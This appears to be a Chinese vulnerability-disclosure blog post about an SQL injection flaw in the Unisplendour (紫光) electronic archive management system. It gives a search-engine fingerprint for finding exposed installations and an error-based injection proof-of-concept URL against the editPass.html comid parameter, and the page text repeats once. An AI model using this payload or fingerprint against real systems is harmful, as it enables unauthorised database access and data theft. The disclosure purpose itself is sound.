漏洞描述
紫光软件系统有限公司（以下简称“紫光软件”）是中国领先的行业解决方案和IT服务提供商。 紫光电子档案管理系统存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
漏洞影响
紫光电子档案管理系统
网络测绘
app=”紫光档案管理系统”
漏洞复现
登录页面
验证POC
/login/Login/editPass.html?comid=extractvalue(1,concat(char(126),md5(1)))
© 版权声明
THE END
喜欢就支持一下吧
推荐阅读
紫光软件系统有限公司（以下简称“紫光软件”）是中国领先的行业解决方案和IT服务提供商。 紫光电子档案管理系统存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
紫光电子档案管理系统
app=”紫光档案管理系统”
登录页面
验证POC
/login/Login/editPass.html?comid=extractvalue(1,concat(char(126),md5(1)))
暂无评论内容